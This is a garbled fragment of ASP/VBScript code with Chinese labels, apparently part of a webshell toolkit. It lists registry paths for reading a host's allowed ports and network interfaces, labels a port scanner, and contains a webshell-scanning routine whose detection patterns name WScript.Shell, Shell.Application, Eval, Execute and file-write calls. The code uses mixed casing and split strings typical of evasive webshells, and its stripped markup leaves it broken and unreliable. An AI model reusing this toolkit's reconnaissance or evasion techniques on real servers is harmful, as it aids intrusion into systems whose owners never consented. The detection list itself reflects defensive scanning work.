\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{8A465128-8E99-4B0C-AFF3-1348DC55EB2E}\TCPAllowedPorts {允许的TCP/IP端口}
"
rRs "HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{8A465128-8E99-4B0C-AFF3-1348DC55EB2E}\UDPAllowedPorts {允许的UDP端口}
"
RRs "-----------OVER--------------------
"
rRS "HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count {共几块活动网卡}
"
rRs "HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind {当前网卡的序列(把上面的替换)}
"
Rrs ""
rrs "
端口扫描器
" Rrs"" if ReqUEst.Form("scan") <> "" THen timEr1 = tIMER RrS("扫描报告:| Scan WebShell -- 呆子修改版 | |||||||
|---|---|---|---|---|---|---|---|
"
RRS ""
rrs "扫描完毕!一共检查文件夹"&SumfoLDers&"个,文件"&SUMfiLes&"个,发现可疑点"&SuN&"个"
rRS "
本页执行共用了"&tHetIME&"毫秒" eND iF sUB ShOwaLLfIlE(paTh) set f1SO = cReAteobjecT("Scripting.FileSystemObject") IF noT f1SO.FOldERExISTs(path) TheN exiT sUb SET f = f1so.GeTFoLDEr(PaTh) set fc2 = f.fiLeS fOR eacH MYFIle In FC2 IF CHeCkexT(f1so.gEtEXTEnsiONNaMe(path&"\"&MyfIle.nAmE)) theN caLL sCANfILe(Path&TeMp&"\"&mYfILe.NAme, "") SuMfiLes = SumFiLeS + 1 eNd IF next sEt FC = f.SuBFOLderS for EAch F1 in fC shoWallFiLE PaTh&"\"&f1.nAmE sUMFoldeRs = sUmFoldeRs + 1 nEXT set f1SO = nOtHing EnD sub sUb ScAnFILe(fIlepAth, infILE) ServER.scrIptTIMEouT=999999999 IF INfIlE <> "" tHeN InFIleS = "该文件被"& InFiLE & "文件包含执行" EnD IF sEt fSo1s = cReAtEoBjEct("Scripting.FileSystemObject") on eRror rESuMe nexT seT oFIle = Fso1s.oPentExtfIle(FilePATh) FilEtXt = lcase(OFILe.READAll()) If err tHEn EXIT suB End if IF LeN(filETxT)>0 theN FiLETxt = vBCrlF & fILeTxT tEMp = ""&REPlacE(FILePatH,SeRveR.mAPpAtH("\")&"\","",1,1,1)&" " TeMp=TEmP&"编辑 " TeMP=TEmp&"删除 " TeMP=TemP&"复制 " TEMp=tEMP&"移动" if INsTr( fileTxT, lCasE("WScr"&doMYBest&"ipt.Shell") ) OR instr( Filetxt, LcasE("clsid:72C24DD5-D70A"&DomYBesT&"-438B-8A42-98424B88AFB8") ) THEn rePorT = RePOrt&" | |||||||
| "&teMp&" | WScr"&doMYBesT&"ipt.Shell 或者 clsid:72C24DD5-D70A"&dOmybeST&"-438B-8A42-98424B88AFB8 | 危险组件,一般被ASP木马利用"&INFIlEs&" | "&GEtDatECrEAtE(fiLEPATH)&" "&GetdAtemoDiFY(fIlePAtH)&" | ||||
| "&TEMP&" | She"&DOmyBEst&"ll.Application 或者 clsid:13709620-C27"&domybEsT&"9-11CE-A49E-444553540000 | 危险组件,一般被ASP木马利用"&INFilES&" | "&gEtdaTECREATE(FilePaTH)&" "&gETDATEModIfy(fIlEpAth)&" | ||||
| "&TEmP&" | (vbscript|jscript|javascript).Encode | 似乎脚本被加密了"&inFIlES&" | "&GETDatecreAtE(FilepAtH)&" "&GetDaTEModIFY(FIlEpatH)&" | ||||
| "&teMP&" | Ev"&"al | e"&"val()函数可以执行任意ASP代码 但是javascript代码中也可以使用,有可能是误报。"&iNfILes&" | "&getDateCreATe(fIlepatH)&" "&GeTDAtEMoDIfy(FilepATh)&" | ||||
| "&TemP&" | Exec"&"ute | e"&"xecute()函数可以执行任意ASP代码 "&iNfilES&" | "&gEtDatEcReaTe(FiLEpaTh)&" "&GeTdAteMOdIfY(fiLepAtH)&" | ||||
| "&teMp&" | .CreateTextFile|.OpenTextFile | 使用了FSO的CreateTextFile|OpenTextFile读写文件"&INFiLEs&" | "&gETdateCreate(FiLEpAtH)&" "&GetdatEMODIFy(FIlepatH)&" | ||||
| "&tEmp&" | .SaveToFile | 使用了Stream的SaveToFile函数写文件"&iNfIlEs&" | "&geTDAtECREate(fiLePaTH)&" "&gEtdATEmodIfY(filepath)&" | ||||
| "&tEMp&" | .Save | 使用了XMLHTTP的Save函数写文件"&InfILES&" | "&geTdateCReatE(FILepAth)&" "&gETDAteMoDiFy(FIlEpAth)&" |